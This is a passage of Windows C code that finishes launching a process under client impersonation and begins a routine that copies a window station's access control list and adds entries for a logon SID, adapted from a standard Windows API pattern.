NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE, // creation flags
NULL, // pointer to new environment block
NULL, // name of current directory
&si, // pointer to STARTUPINFO structure
&pi // receives information about new process
);
// End impersonation of client.
RevertToSelf();
goto Cleanup;
//return bResult; <------------------------------------------------------------------------
if (bResult && pi.hProcess != INVALID_HANDLE_VALUE)
{
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
}
if (pi.hThread != INVALID_HANDLE_VALUE)
CloseHandle(pi.hThread);
Cleanup:
if (hwinstaSave != NULL)
SetProcessWindowStation (hwinstaSave);
// Free the buffer for the logon SID.
if (pSid)
FreeLogonSID(&pSid);
// Close the handles to the interactive window station and desktop.
if (hwinsta)
CloseWindowStation(hwinsta);
if (hdesk)
CloseDesktop(hdesk);
// Close the handle to the client's access token.
if (hToken != INVALID_HANDLE_VALUE)
CloseHandle(hToken);
return bResult;
}
BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid)
{
ACCESS_ALLOWED_ACE *pace;
ACL_SIZE_INFORMATION aclSizeInfo;
BOOL bDaclExist;
BOOL bDaclPresent;
BOOL bSuccess = FALSE;
DWORD dwNewAclSize;
DWORD dwSidSize = 0;
DWORD dwSdSizeNeeded;
PACL pacl;
PACL pNewAcl;
PSECURITY_DESCRIPTOR psd = NULL;
PSECURITY_DESCRIPTOR psdNew = NULL;
PVOID pTempAce;
SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
unsigned int i;
__try
{
// Obtain the DACL for the window station.
if (!GetUserObjectSecurity(
hwinsta,
&si,
psd,
dwSidSize,
&dwSdSizeNeeded)
)
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
psd = (PSECURITY_DESCRIPTOR)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwSdSizeNeeded);
if (psd == NULL)
__leave;
psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwSdSizeNeeded);
if (psdNew == NULL)
__leave;
dwSidSize = dwSdSizeNeeded;
if (!GetUserObjectSecurity(
hwinsta,
&si,
psd,
dwSidSize,
&dwSdSizeNeeded)
)
__leave;
}
else
__leave;
// Create a new DACL.
if (!InitializeSecurityDescriptor(
psdNew,
SECURITY_DESCRIPTOR_REVISION)
)
__leave;
// Get the DACL from the security descriptor.
if (!GetSecurityDescriptorDacl(
psd,
&bDaclPresent,
&pacl,
&bDaclExist)
)
__leave;
// Initialize the ACL.
ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
aclSizeInfo.AclBytesInUse = sizeof(ACL);
// Call only if the DACL is not NULL.
if (pacl != NULL)
{
// get the file ACL size info
if (!GetAclInformation(
pacl,
(LPVOID)&aclSizeInfo,
sizeof(ACL_SIZE_INFORMATION),
AclSizeInformation)
)
__leave;
}
// Compute the size of the new ACL.
dwNewAclSize = aclSizeInfo.AclBytesInUse + (2*sizeof(ACCESS_ALLOWED_ACE)) + (2*GetLengthSid(psid)) - (2*sizeof(DWORD));
// Allocate memory for the new ACL.
pNewAcl = (PACL)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwNewAclSize);
if (pNewAcl == NULL)
__leave;
// Initialize the new DACL.
if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))
__leave;
// If DACL is present, copy it to a new DACL.
if (bDaclPresent)
{
// Copy the ACEs to the new ACL.
if (aclSizeInfo.AceCount)
{
for (i=0; i < aclSizeInfo.AceCount; i++)
{
// Get an ACE.
if (!GetAce(pacl, i, &pTempAce))
__leave;
// Add the ACE to the new ACL.
if (!AddAce(
pNewAcl,
ACL_REVISION,
MAXDWORD,
pTempAce,
((PACE_HEADER)pTempAce)->AceSize)
)
__leave;
}
}
}
// Add the first ACE to the window station.
pace = (ACCESS_ALLOWED_ACE *)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY